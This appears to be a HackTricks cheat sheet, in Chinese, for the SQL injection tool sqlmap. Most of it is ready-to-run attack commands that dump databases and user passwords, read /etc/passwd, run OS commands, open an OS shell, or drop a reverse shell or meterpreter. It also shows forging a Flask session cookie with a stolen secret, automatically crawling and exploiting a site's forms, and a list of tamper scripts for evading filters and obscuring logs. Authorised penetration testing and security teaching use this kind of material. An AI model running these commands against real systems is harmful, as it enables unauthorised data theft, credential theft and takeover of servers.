SQLMap - Cheetsheat

支持 HackTricks

即时可用的漏洞评估与渗透测试设置。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。

SQLmap 的基本参数

通用

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

获取信息

内部

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

数据库数据

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

注入位置

从 Burp/ZAP 捕获

捕获请求并创建一个 req.txt 文件

sqlmap -r req.txt --current-user

GET 请求注入

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST 请求注入

sqlmap -u "http://example.com" --data "username=*&password=*"

在头部和其他HTTP方法中的注入

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

注入成功时指示字符串

--string="string_showed_when_TRUE"

Eval

Sqlmap 允许使用 -e--eval 在发送之前处理每个有效负载,使用一些 python 单行代码。这使得在发送之前以自定义方式处理有效负载变得非常简单和快速。在以下示例中,flask cookie 会话 在发送之前由 flask 使用已知的密钥进行签名

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

读取文件

--file-read=/etc/passwd

使用SQLmap爬取网站并自动利用

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

二次注入

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

阅读此帖子 关于如何使用 sqlmap 执行简单和复杂的二次注入。

自定义注入

设置后缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

前缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

帮助寻找布尔注入

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

记住,你可以用 Python 创建自己的 tamper,这非常简单。你可以在这里的第二次注入页面找到一个 tamper 示例。

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription

apostrophemask.py

用其 UTF-8 全宽对应字符替换撇号字符

apostrophenullencode.py

用其非法双重 Unicode 对应字符替换撇号字符

appendnullbyte.py

在有效负载末尾附加编码的 NULL 字节字符

base64encode.py

对给定有效负载中的所有字符进行 Base64 编码

between.py

用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>')

bluecoat.py

用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 =

chardoubleencode.py

对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符)

commalesslimit.py

用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例

commalessmid.py

用 'MID(A FROM B FOR C)' 替换 'MID(A, B, C)' 的实例

concat2concatws.py

用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换 'CONCAT(A, B)' 的实例

charencode.py

对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符)

charunicodeencode.py

对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已编码的字符)。"%u0022"

charunicodeescape.py

对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已编码的字符)。"\u0022"

equaltolike.py

用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现

escapequotes.py

斜杠转义引号 (' 和 ")

greatest.py

用 'GREATEST' 对应字符替换大于运算符 ('>')

halfversionedmorekeywords.py

在每个关键字前添加版本化的 MySQL 注释

ifnull2ifisnull.py

用 'IF(ISNULL(A), B, A)' 替换 'IFNULL(A, B)' 的实例

modsecurityversioned.py

用版本化注释包裹完整查询

modsecurityzeroversioned.py

用零版本化注释包裹完整查询

multiplespaces.py

在 SQL 关键字周围添加多个空格

nonrecursivereplacement.py

用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace("SELECT", "")过滤器

percentage.py

在每个字符前添加百分号 ('%')

overlongutf8.py

转换给定有效负载中的所有字符(不处理已编码的字符)

randomcase.py

用随机大小写值替换每个关键字字符

randomcomments.py

向 SQL 关键字添加随机注释

securesphere.py

附加特殊构造的字符串

sp_password.py

在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志

space2comment.py

用注释替换空格字符 (' ')

space2dash.py

用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n')

space2hash.py

用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n')

space2morehash.py

用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n')

space2mssqlblank.py

用有效替代字符集中的随机空白字符替换空格字符 (' ')

space2mssqlhash.py

用井号字符 ('#') 替换空格字符 (' '),后跟换行符 ('\n')

space2mysqlblank.py

用有效替代字符集中的随机空白字符替换空格字符 (' ')

space2mysqldash.py

用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n')

space2plus.py

用加号 ('+') 替换空格字符 (' ')

space2randomblank.py

用有效替代字符集中的随机空白字符替换空格字符 (' ')

symboliclogical.py

用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和

unionalltounion.py

用 UNION SELECT 替换 UNION ALL SELECT

unmagicquotes.py

用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释(以使其工作)

uppercase.py

用大写值 'INSERT' 替换每个关键字字符

varnish.py

附加 HTTP 头 'X-originating-IP'

versionedkeywords.py

用版本化的 MySQL 注释包裹每个非函数关键字

versionedmorekeywords.py

用版本化的 MySQL 注释包裹每个关键字

xforwardedfor.py

附加假 HTTP 头 'X-Forwarded-For'

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。

支持 HackTricks

Last updated